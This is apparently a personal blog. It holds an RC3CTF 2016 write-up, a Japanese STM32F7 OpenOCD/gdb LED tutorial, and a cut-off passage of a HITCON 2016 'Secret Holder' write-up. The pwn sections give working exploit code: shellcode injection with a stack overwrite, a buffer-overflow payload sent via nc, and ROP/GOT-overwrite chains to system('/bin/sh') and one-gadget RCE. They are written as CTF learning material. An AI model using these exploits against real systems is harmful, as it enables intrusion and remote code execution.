RC3CTF 2016 Writeup
# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)
I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.
We got 1540 points and ended in 147-th place.
I solved following challenges:
- All Trivias (writeups are omitted)
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fensepost - pwn 150
- Logmein - rev 100
- *FLE - rev 200 (after contest is over)
This blog post is writeups for those challenges.
- Who’s a good boy? - web 100
- Graphic Design - for 200
- IMS easy - pwn 150
- Fencepost - pwn 150
- Logmein - rev 100
- FLE - rev 200
Who’s a good boy? - web 100
Just check the content of stylesheet (css file).
https://ctf.rc3.club:3000/doge.css
/*hiya*/ /*compress your frontend*/ /*here's a flag :)*/ flag:RC3-2016-CanineSS
Graphic Design - for 200
I saw # Blender v2.78 (sub 0) OBJ File:
at the first line of obj file.
I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).
After Blender has imported obj file, I got following scene:
Is there only a dynasaw? No, there’s a suspicious model:
I made dynasaw invisible and made suspious model visible, then I got flag!!
IMS easy - pwn 150
IMS holds records in stack and we can see stack and corrupt it.
C source code of IMS-easy may be like:
// .bss int* index; // 0x80f0f9c struct RECORD { // 12 bytes char product_code[8]; // 8 bytes int product_id; // 4 bytes } void print_menu(void) { _IO_puts("================================================"); _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha"); _IO_puts("================================================"); _IO_puts("1. Add record"); _IO_puts("2. Delete record"); _IO_puts("3. View record"); _IO_puts("4. Quit"); _IO_printf("Choose: ", "alpha"); return; } int process_choice(int* arg0, int* index) { char buf[]: // ebp-0x24 int user_index; // ebp-0x18 int i; // ebp-0xC _IO_fgets(buf, 0xc, stdin); // upto 12 chars stack[2034] = 0x0; eax = strtol(buf, stack[2034], 0xa); // eax = eax; if (eax == 0x2) { // delete _IO_printf("Enter index to delete: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtoul(buf, 0x0, 0xa); if ((user_index >= 0x0) && (*index > user_index)) { for (i = user_index + 0x1; i < *index; i++) { memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc); } *index -= 1; } else { _IO_puts("That record does not exist"); } return 0; } else if (eax == 0x1) { // register _IO_printf("Enter product ID: ", 0xa); _IO_fgets(buf, 0xc, stdin); // up to 12 chars eax = *index; *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa); _IO_printf("Enter product code: ", 0x0); _IO_fgets(buf, 0xc, stdin); // up to 12 chars var_14 = sub_80482c0(); // @plt if (var_14 != 0x0) { *(int8_t *)var_14 = 0x0; } eax = *index; sub_8048260(); *index += 0x1; return 0; } else if (eax == 0x3) { // view _IO_printf("Enter the index of the product you wish to view: ", stack[2034]); _IO_fgets(buf, 0xc, stdin); user_index = strtol(buf, 0x0, 0xa); eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak _IO_printf("Product ID: %d, Product Code: ", eax); fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak fflush(stdout); return 0; } else { return 0x1; } } int main(void) { RECORD* records[N]; // esp+0x1c esp = (esp & 0xfffffff0) - 0x60; setbuf(stdout, 0x0); sub_8048290(); // sub_8048290@plt do { print_menu(); if (process_choice(records, index) != 0x0) { break; } _IO_printf("There are %d records in the IMS\n\n", *index); } while (true); return 0x0; }
To obtain shell, I did:
- write shellcode in records since NX bit is disabled
- overwrite return address to address of shellcode (records)
this is exploit code to get shell (very dirty, sorry):
from pwn import * from sys import argv # context.log_level = 'debug' BIN = "./IMS-easy" ## NOT WORKS!! ## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes) ## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" # ## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes) ## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" LOCAL = True def bp(): if LOCAL: raw_input("break point: ") e = ELF(BIN) if len(argv) > 1 and argv[1] == "r": LOCAL = False r = remote("ims.ctf.rc3.club", 7777) else: r = process(BIN) """ 1. Add record 2. Delete record 3. View record 4. Quit """ def add(product_id, product_code): r.sendline('1') r.sendline(product_id) r.sendline(product_code) def delete(index): r.sendline('2') r.sendline(index) def view(index): r.sendline('3') r.sendline(index) def quit(): r.sendline('4') def wait_for_choice(): r.recvuntil("Choose: ") def parse_view(): res = r.recvuntil("the IMS\n") # print res m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res) if m == None: log.error("view response error") _id, _code = m[0] return int(_id), u32(_code[4:8]), u32(_code[0:4]) DIG_INDEX = 7 # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" """ 0020| 0xffdfc7ac ("BBBBBBBB") 0024| 0xffdfc7b0 ("BBBB") 0028| 0xffdfc7b4 --> 0x0 0032| 0xffdfc7b8 ("BBBBBBBB\001") 0036| 0xffdfc7bc ("BBBB\001") 0040| 0xffdfc7c0 --> 0x1 0044| 0xffdfc7c4 --> 0x0 0048| 0xffdfc7c8 --> 0x0 0052| 0xffdfc7cc --> 0x0 0056| 0xffdfc7d0 --> 0x0 0060| 0xffdfc7d4 --> 0x0 0064| 0xffdfc7d8 --> 0x0 0068| 0xffdfc7dc --> 0x0 0072| 0xffdfc7e0 --> 0x0 0076| 0xffdfc7e4 --> 0x0 0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8") """ wait_for_choice() view("5") _, _, records_ptr = parse_view() records_ptr -= 0xe0 log.info("records = %#x" % records_ptr) """ 0056| 0xffa7da80 ("BBBBBBBB\003") 0060| 0xffa7da84 ("BBBB\003") 0064| 0xffa7da88 --> 0x3 """ # 0 wait_for_choice() add(str(u32(shellcode[8:12])), shellcode[0:8]) # 1 wait_for_choice() add(str(u32(shellcode[20:24])), shellcode[12:20]) # 2 wait_for_choice() add(str(0x114514), shellcode[24:28].ljust(8, '\x90')) # add(str(0x114514), "\x90"*8) for i in range(3): wait_for_choice() add(str(0x90909090), "\x90"*8) # nop sled # 6 (overwrite return address) wait_for_choice() add(str(records_ptr), "A"*8) bp() # print "---------" # for i in range(DIG_INDEX): # wait_for_choice() # view(str(i)) # print "%#x, %#x, %#x" % parse_view() # print "---------" wait_for_choice() quit() # trigger shellcode!! r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r [*] Stack is executable! [+] Opening connection to ims.ctf.rc3.club on port 7777: Done [*] records = 0xffb31b1c [*] Switching to interactive mode $ ls /home IMS-easy IMS-hard ubuntu $ cd /home/IMS-easy $ ls IMS-easy flag.txt $ cat flag.txt RC3-2016-REC0RDZ-G0T-R3KT
Fencepost - pwn 150
C source code of fencepost may like:
void congratz(void) { puts("Good job! Run on the server to get the actual flag."); return; } int main(void) { int var_4; // rbp-4 char[] user_input; // rbp-48 var_4 = 0xffffffff; puts("=== Welcome to the RC3 Secure CTF Login ==="); puts("=== Please enter the correct password below ==="); do { printf("Password: "); __isoc99_scanf("%s", user_input); rax = strlen(user_input); rax = rax + 0x1; user_input[rax] = '\0'; if ([rbp-0x4] == 0x0) { break; } rax = strcmp(user_input, "not-the-real-pass"); } while (rax != 0x0); if (var_4 == 0x0) { rax = congratz(); } return rax; }
We have to:
- overwrite [rbp-4] to be 0
BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.
To get flag:
tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload [katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091 === Welcome to the RC3 Secure CTF Login === === Please enter the correct password below === Password: RC3-2016-STACKPWN
Logmein - rev 100
Just use angr. find address is 0x4007f0 (congratz
), avoid address is 0x4007c0 (incollect
).
I used Hopper plugin I developed.
it took several seconds.
[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein found #avoid at 0x4007c0 found #find at 0x4007f0 finds = 0x4007f0 avoids = 0x4007c0 [*] executing angr script ==== [angr] ==== [*] angr exploring... [*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01' ==== [angr:stderr] ==== /usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct) 1) ================ [*] solve done
FLE - rev 200
Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR
.
irc says just reverse it to get flag:
[04:17] <pwn3rs> any hints on rev 200 fle? [04:17] <READY4THESCHWIFT> RE IT [04:17] <wumb0> no [04:17] <wumb0> reverse it [04:18] <ducphan> lol fencepost changed category [04:18] <pwn3rs> reversed it in ida [04:18] <StatesideCash> yes [04:18] <pwn3rs> found the bad flag [04:18] <pwn3rs> and there is something in overlay [04:19] <magu> dont spoil
So what? …Oh, reverse
means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG
with \x7fELF
.
FLEのからくり(バイナリを[::-1]して先頭4バイトを"\x7fELF"にする)を見つけたときのふるかわプロの反応が面白かった
— しゃろ (@Charo_IT) November 21, 2016
following part is checking user input routine:
080480ae add ecx, eax 080480b0 inc ecx 080480b1 mov byte [ds:ecx], 0x0 080480b4 mov esi, esp 080480b6 call 0x80480bb 080480bb pop ecx ; XREF=_start+42 080480bc sub ecx, 0xbb 080480c2 push ecx 080480c3 push 0x0 080480c5 push 0x0 080480c7 mov eax, dword [ds:ecx+0x1d02] 080480cd bswap eax 080480cf push eax 080480d0 mov eax, dword [ds:ecx+0x1cfa] 080480d6 bswap eax 080480d8 push eax 080480d9 mov eax, dword [ds:ecx+0x1dd1] 080480df bswap eax 080480e1 push eax 080480e2 mov eax, dword [ds:ecx+0x1bc7] 080480e8 bswap eax 080480ea push eax 080480eb mov eax, dword [ds:ecx+0x148a] 080480f1 bswap eax 080480f3 push eax 080480f4 mov eax, dword [ds:ecx+0x1482] 080480fa bswap eax 080480fc push eax 080480fd mov eax, dword [ds:ecx+0x147a] 08048103 bswap eax 08048105 push eax 08048106 mov eax, dword [ds:ecx+0x1dc1] 0804810c bswap eax 0804810e push eax 0804810f mov eax, dword [ds:ecx+0x1bc2] 08048115 bswap eax 08048117 push eax 08048118 mov eax, esp 0804811a dec ebx 0804811b xor ecx, ecx 0804811d cmp ecx, ebx ; XREF=_start+163 0804811f jge 0x8048131 08048121 mov dl, byte [ds:eax] ; *cipher 08048123 xor dl, byte [ds:esi+ecx] ; user_input[ecx] 08048126 mov byte [ds:esi+ecx], dl 08048129 add eax, 0x1 0804812c add ecx, 0x1 0804812f jmp 0x804811d 08048131 add esp, 0x2c ; XREF=_start+147 08048134 pop ecx 08048135 lea edi, dword [ds:ecx+0x1bcc] 0804813b mov ecx, ebx 0804813d dec ecx 0804813e mov esi, esp 08048140 call calc_checksum 08048145 test eax, eax 08048147 jne avoid_0x804815a
It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:
# set break point at 0x08048118,in gdb, and see *$esp good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005" # set break point at 0x08048140 in gdb, and see *$edi # $edi = 0x8049bcc good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6" flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)]) print flag
the result is:
""" [katc@K_atc fle]$ python2 fle-solved.py RC3-2016-YEAH-DATS-BETTER-BOIIRC3 """
I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.
In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()
STM32F7 Discovery でOpenOCD+gdbによるLチカ
近いうちにOpenOCDを使う用件があるので、練習のためにSTM32F7 Discoveryで遊んでみました。 初心者向けに書きましたが、執筆時間の時間の都合で以下の事項は既習としてます。
静電容量式のタッチディスプレイやSDカードスロット、オーディオI/Fなどがついてて8000円と良心的な値段設定です。
僕の手元にあるものは、ETという展示会(宇宙人はいませんが、昨年はR2-D2がいました?!)でSTマイクロエレクトロニクスのワークショップ的なものに参加してもらったものです。
来月にETやりますし、きっと似たような方法でもらえるかもしれません。
# ワークショップは有償開発環境の1日限定ライセンスのもとで実施されました
デバッグポートはST-Linkというもので、なんとUSBケーブル一本でデバッグできちゃいます。 組み込み特有のジャンパーコードやらきしめんみたいなリボンケーブルが必要ありません。 経済的で、初心者に優しいですね! 同じボードを用意できない場合は、Nucleoというボードが3000円くらいなので、そちらの方がお求めやすいかもしれません。
本エントリーでは、OpenOCDというデバッグ環境を用意した後、OpenOCDでターゲット(デバックするボードのこと)に接続し、 gdbでOpenOCDにアタッチし、手動でLチカするという内容でお送りします。
OpenOCDのビルド
詳細はそこまで知りませんが、OpenOCDはOpen On-Chip-Debuggerの略で、 JTAGデバッガなどを通じて、ホストPCからCPUが入っているマイコンに直接命令できるようなシステムです。 組み込み開発で有償開発環境(IAR Embedded Workbenchとか)を用意できない場合、gdbと合わせて使われるソフトウェアとして名前が上がるような代物です。 はじめに書きますが、100%ちゃんと動くことを期待しちゃダメです。気楽に使いましょう。
OpenOCDのビルドは比較的簡単です。 ダウンロード先はsourceforgeとgit(github)の2通りあります。 基本的にどちらでも良いですが、githubに上がっている方が良いかもしれません。 というのも、OpenOCDではJTAGデバッガやターゲットの設定を書いたスクリプトファイル(cfgファイル)が付属しているのですが、 github版のほうがそのファイルが豊富です。
OpenOCDのビルドは、基本的なビルド環境が揃っていることを前提に、以下のパッケージを必要とします。 ビルド前にaptとかで入れてください。
- pkg-config
- libusb-1.0*
さらに、gccのバージョンが重要で、4系でmakeが通ります。
色々考えるのが面倒なので、僕はVMのREMNuxでmake&&make install
してから、ホストにインストールしました。
以下は、ダウンロード済みのソースをビルドするためのコマンドです。
./bootstrap # git版のみ必要。configureが生成される ./configure --enable-ftdi # ftdiチップ関連の機能を有効にする ### configureにより、ftdiの項目がyesになっていることを確認する make -j4 sudo make install
OpenOCDでターゲットに接続
OpenOCDでは、コマンドラインオプション-f
で、ターゲットやハードウェアの方のデバッガに対応したcfgファイルを与えねばなりません。
バージョン0.9時点では、それらはtclというディレクトリの中に入っています。
注意すべきことは、-f
で与えたパスが深すぎると依存関係を解決出ないという理由でエラーが出ます。
以下のように、-s
オプションでベースディレクトリを教えるとうまく動いてくれます。
(まあカレントディレクトリにcfgをコピるのが一番楽ですがね)
root権限のあるシェルで実行しないと Error: libusb_open() failed with LIBUSB_ERROR_ACCESS
と出て動きません
openocd -s tcl -f board/stm32f7discovery.cfg
うまく接続するとこんな感じになります。
[root@K_atc openocd-git]# openocd -s tcl -f board/stm32f7discovery.cfg Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD adapter speed: 2000 kHz adapter_nsrst_delay: 100 srst_only separate srst_nogate srst_open_drain connect_deassert_srst Info : Unable to match requested speed 2000 kHz, using 1800 kHz Info : Unable to match requested speed 2000 kHz, using 1800 kHz Info : clock speed 1800 kHz Info : STLINK v2 JTAG v28 API v2 SWIM v16 VID 0x0483 PID 0x374B Info : using stlink api v2 Info : Target voltage: 3.201043 Warn : Silicon bug: single stepping will enter pending exception handler! Info : stm32f7x.cpu: hardware has 8 breakpoints, 4 watchpoints
gdb起動
arm版のgdbを忘れずに用意します。
arm-none-eabi-gdb
あたりがパッケージマネージャー使えば入るはずです。
OpenOCDがlocalhostの3333版ポートでgdbからのアタッチを待っています。
target remote :3333
で会いに行きましょう〜
# -x
は今は無視で
[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb /home/katc/.gdbinit:1: Error in sourced command file: future__ import absolute_import:8: Error in sourced command file: Undefined command: "from". Try "help". 0x00000000 in ?? () (gdb) target remote :3333 Remote debugging using :3333 0x00000000 in ?? () (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu running (gdb)
手動Lチカ
gdbを使ってLチカさせていきましょう。
[datasheet]のBlock Diagramと[manual]を見ると、LD1というLEDがPI1に、PI1はGPIOI[1]につながっていることが分かります。
# このボードはArduinoのシールドとしても使えるらしいです。LD1はArduinoから操作することを考慮しているように見えますね。
[datasheet]を見ると、GPIOIはメモリアドレス0x4002 2000 ~ 0x4002 2fffにマッピングされており、 [2]によると、0x40022000をベースアドレスとして、オフセット0にGPIOIのモードを変更するレジスタ(MODER)と、オフセット0x14に出力値を入れるレジスタ(ODR)があることが分かります。
GPIOでは、ポートで外部入力を期待するのか外部出力するのか、またはその他(めいんどいので省略)なのかを特定のレジスタに教えることになります。 今回はそのレジスタはこのMODERというレジスタです。 [2]によると、今回はLEDを操作したいのでポートは出力モードで、そのためにはGPIOI[1]のモード設定でMODERの[3:2](2ビットから3ビット)を1にすれば良いことが分かります。
[2]を見る限り、とりまPI1に1を送るにはODR[1]に1をセットすれば良さそうです(←プルアップされているかどうかで話が変わりうる。結果としては1がLEDのONを意味する)
([2]にプルアップやプルダウンの文字がありますが、見なかったことにします。 0か1でLEDが点く話ですからね。)
以上より、LEDに関する初期化とLEDをon/offするコード、果てはLチカするユーザー関数のコードは次のgdbスクリプトに落ち着きます。
(ついでに、アタッチとターゲットのリセットを行います)
target remote :3333 monitor reset ### wait for target shell sleep 2 set $GPIOI=0x40022000 set $GPIOI_MODER=$GPIOI+0x0 set $GPIOI_ODR=$GPIOI+0x14 ### init led port # MODER[2:3] = 2 (General purpose output mode) set *(int *)$GPIOI_MODER=*$GPIOI_MODER|0x4 def -ld1-on # ODR[1] = High set *(int *)$GPIOI_ODR=*$GPIOI_ODR|1<<1 end def -ld1-off # ODR[1] = Low set *(int *)$GPIOI_ODR=*$GPIOI_ODR&~(1<<1) end def -LD1 printf "SIGINT (Ctrl+C) to quit..." while(1) -ld1-on shell sleep 0.5 -ld1-off shell sleep 0.5 end end
Lチカコマンドこと-LD1
を実行すると無限ループの中で0.5秒毎にLD1が明滅します。おわり
[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb /home/katc/.gdbinit:1: Error in sourced command file: future__ import absolute_import:8: Error in sourced command file: Undefined command: "from". Try "help". 0x00000000 in ?? () (gdb) -LD1 SIGINT (Ctrl+C) to quit...^CQuit (gdb)
おまけ:OpenOCDのこんなときは
ターゲットをリセットしたい
ボードのリセットボタンを押すか、gdb(3333番ポート)からmonitor reset
を送るか、telnet/nc(4444番ポート)からreset
を送ります。
ターゲットをhaltしたい。haltをrunningに戻したい
gdbでの方法の説明に絞ります。
halt
にするとき:monitor halt
running
に戻したいとき: monitor reset run
(gdb) monitor halt stm32f7x.cpu: target state: halted target halted due to debug-request, current mode: Thread xPSR: 0x61000000 pc: 0x0803981c psp: 0x20007658 (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu halted (gdb) monitor reset run (gdb) monitor targets TargetName Type Endian TapName State -- ------------------ ---------- ------ ------------------ ------------ 0* stm32f7x.cpu hla_target little stm32f7x.cpu running
# monitor reset run
だと一回リセットが入るみたいだし、haltから再開する方法は無いのかな?
参考文献
- [datasheet] STM32F7 Datasheet
- [manual] Discovery kit for STM32F7 Series with STM32F746NG MCU User Manual
- [1] STM32F7 Discovery の開発環境 (2)
- [2] Understanding the STM32F0's GPIO part 1
ところで抵抗とコンデンサとLEDをラベルを見ずに外見だけで見分けるいい方法無いですかね…
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編
前編の続きです。Unlink Attackにより、任意アドレスの内容を書き換えられるようになりました。
いよいよ後編はGOT Overwriteからシェル起動までを行います。
解法が二種類あるので分けて書きます。 ぶっちゃけROPは初めてなので誤った説明があったらコメント欄などで指摘しちゃってください。
解法1(Stack SmashingからのROP作戦)
しふくろくん方式です。
GOT overwrite & information leak
ROPによりシェル起動を目標にします。 この状況に至るための条件は次の通りです。
- systemのオフセットアドレスが分かっている(or libcを同定できている)
- libcのベースアドレスが分かっている
- stack smashingによりリターンアドレスの書き換えが可能(
gets()
相当のgadgetが必要) __stack_chk_fail()
の呼出しによりexit()
されない- ROPで関数を呼出したときに第一引数をスタックからセットできる(
pop rdi; ret;
なgadgetが存在する)
それぞれの条件を満たす方法を順に説明します。
条件1(libcの同定とsystemのオフセットアドレス)
条件1は__libc_start_main()
のアドレスからオフセットの下位1バイトが分かり、
サーバーのOSはどのpwnの問題でも一緒じゃないのという山勘で他の問題のlibcを見ればsystemのオフセットが分かっちゃったりします。
今回もそうだったみたいですが、
今はローカルでやってるので僕のLinuxのlibcでの話になります。
まずlibcの同定をします。
同定の手順は次の通りです(一応説明)。
libcのデータベースはlibcdb.comを久しぶりに使おうと思いましたが、古いみたいのので却下して、
niklasb/libc-database を使いました。
# ローカルはUbuntuでなく、(CTFのサーバーで採用されない、libc-databaseでも./get
されない)Archi Linuxのlibcなので./add /usr/lib/libc-2.24.so
してあります
- libcの2つの関数のアドレスを明らかにする
- libc-databaseに1の結果を入れて検索
- ヒットしたら勝ち!
やるだけですね。どの2つの関数にするのかの問題はありますが、今回は__libc_start_main
とread
をターゲットにします。
スクリプトは最後に添付します。結果はこうなりました。
[katc@K_atc SecretHolder]$ python2 SecretHolder-libc.py [+] Started program './SecretHolder.patched' __libc_start_main = 0x7efdf89ba1a0 read = 0x7efdf8a754c0 [*] libc address inspection done [*] Stopped program './SecretHolder.patched'
はい検索(出来レース)。
% ./find __libc_start_main 1a0 read 4c0 (master *=) /usr/lib/libc-2.24.so (id local-be8674d37e98b454154e94b989aa08f18611bafd)
最後にsystem
と/bin/sh
のオフセットアドレスも調べておきます。
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$" 5821: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system [katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main 2120: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5 6322: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main [katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$ 161359 /bin/sh
systemと/bin/shのオフセットアドレスはそれぞれ0x3f4d0、0x161359であることが分かりました。
条件2(libcのベースアドレス)
条件2はオフセットが分かっているlibcの関数のGOTに入っている値を読み取れば、引き算でlibcのベースアドレスが分かるので条件を満たせます。
条件3(リターンアドレス書き換え)
条件3はgets()相当の関数を探せばいいだけです。アドレス0x4009f9からのgadgetが使えそうです。
[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4 ... snipped ... -- 4009f9: ba 80 1a 06 00 mov edx,0x61a80 4009fe: 48 89 c6 mov rsi,rax 400a01: bf 00 00 00 00 mov edi,0x0 400a06: b8 00 00 00 00 mov eax,0x0 400a0b: e8 f0 fc ff ff call 400700 <read@plt> -- ... snipped ...
条件4(SSP無効化)
条件4は__stack_chk_fail()
のGOTを書き換えて、ret
に飛ばせばいいだけです。
テキトーなret gadgetに飛ばせばいいですね。
条件5(関数の第1引数)
条件5はinfrmation loak時にputs(buf)
をすることを意識しています。
x86-64ではrdiがcallする関数の第一引数に対応するため、callする1手前時点のスタックトップをrsiに入れてくれるpopret(pop rdi; ret;
)が必要になります。
幸いにもそのgadgetがあります。
gdb-peda$ asmsearch "pop rdi;ret" Searching for ASM code: 'pop rdi;ret' in: binary ranges 0x00400e03 : (5fc3) pop rdi; ret
まとめ
というわけでGOT Overwriteとlibcのベースアドレスのリークはこのようなコードになります。
addr = { "puts": 0x4006c0, # "sh": 0x4020ef + 7, # not loaded to memory "mygets": 0x4009f9, "main": 0x400cc2, "exit": 0x400770, } got = { "__libc_start_main": e.got["__libc_start_main"], "__stack_chk_fail": e.got["__stack_chk_fail"], "memset": e.got["memset"], } """GOT overwrite""" renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x8, # (padding) p64(got["memset"]), # big_secret p64(0), # huge_secret (not used in this exploit) p64(got["__stack_chk_fail"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};" # small_secret = rop["ret"] renew(big, p64(addr["mygets"])) # memset() <- mygets() # big_secret = addr["mygets"] r.recvuntil("3. Renew secret\n") r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() # p64(0x400ce3), # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm() ])) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
GOT overwrite直前では先のUnlink Attackにより、small_secret
はsmall_secret-0x18
を指していることと、paddingが8バイト必要な点が注意です。
GOT overwriteによりmemsetがgetsのような関数に化けています。 バッファはmemsetに使われていたバッファはrbp+0x10にあるので、それぶんと$rbpに置かれているsaved old rbpのぶんを加味してバッファオーバーフローさせます。 1番目のROP gadgetが$rbp+0x8にあるreturn addressを書き換える位置に来ればあとはTOP発動でinfomation leakにさせます。
あとはputsで出力された6バイトのアドレスを受け取って、__libc_start_main
のオフセットを差し引けばlibcのベースアドレスが分かります。
# ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由は余談で話します。
シェル起動
あとはやるだけ、の一言でいいですよね。(GOT overwriteと同様にしてreturn addressを書き換え、シェルを呼ぶROPを発動しているだけです)
"""launch shell""" r.send(''.join([ '\0' * 0x18, p64(rop["pop rdi; ret"]), p64(libc_base_addr + offset["/bin/sh"]), p64(libc_base_addr + offset["system"]), p64(addr["exit"]), ])) # system("sh") r.interactive()
解法2(One-gadget RCEでinstant win作戦)
One-gadget RCEでさくっと勝ちましょうというのが2つ目の解法の方針です。 One-gadget RCEを解説した後、GOT overwriteでOne-gadgetにジャンプする準備をして、 RCE発動という流れで解説します。
One-gadget RCE とは
Dragon Sectorの資料に書かれていることがすべてなのですが、
x86-64(x86はダメ)のlibcに、
ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)
を実行してくれる親切なgadgetが存在します。
gadgetの探し方は/bin/sh
のアドレスを即値で入れてるような命令の周辺を探す方法で良いと思います。いくつか候補が出てきます(冗長なものはカットしてあります)。
ほんとにシェルを起動してくれそうなgadgetがありますね…(今回始めてこの手法を使った人の顔)
% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8 3f3aa: 48 8b 05 ef 8a 35 00 mov rax,QWORD PTR [rip+0x358aef] # 397ea0 <_DYNAMIC+0x340> 3f3b1: 48 8d 3d a1 1f 12 00 lea rdi,[rip+0x121fa1] # 161359 <_nl_POSIX_name+0x154> 3f3b8: 48 8d 74 24 30 lea rsi,[rsp+0x30] 3f3bd: c7 05 99 b0 35 00 00 mov DWORD PTR [rip+0x35b099],0x0 # 39a460 <lock> 3f3c4: 00 00 00 3f3c7: c7 05 93 b0 35 00 00 mov DWORD PTR [rip+0x35b093],0x0 # 39a464 <sa_refcntr> 3f3ce: 00 00 00 3f3d1: 48 8b 10 mov rdx,QWORD PTR [rax] 3f3d4: e8 97 90 07 00 call b8470 <execve> -- b8a23: 49 8d 7d 10 lea rdi,[r13+0x10] b8a27: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] b8a2e: 00 b8a2f: 48 83 c6 08 add rsi,0x8 b8a33: e8 28 b2 fc ff call 83c60 <memcpy@GLIBC_2.2.5> b8a38: 48 8d 3d 1a 89 0a 00 lea rdi,[rip+0xa891a] # 161359 <_nl_POSIX_name+0x154> b8a3f: 4c 89 e2 mov rdx,r12 b8a42: 4c 89 ee mov rsi,r13 b8a45: e8 26 fa ff ff call b8470 <execve> -- d67d0: 48 8d 3d 4a c4 08 00 lea rdi,[rip+0x8c44a] # 162c21 <__libc_version+0xd1> d67d7: e8 b4 ee f5 ff call 35690 <unsetenv> d67dc: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60] d67e0: e8 fb 52 00 00 call dbae0 <__close> d67e5: 48 8b 05 b4 16 2c 00 mov rax,QWORD PTR [rip+0x2c16b4] # 397ea0 <_DYNAMIC+0x340> d67ec: 48 8d 74 24 70 lea rsi,[rsp+0x70] d67f1: 48 8d 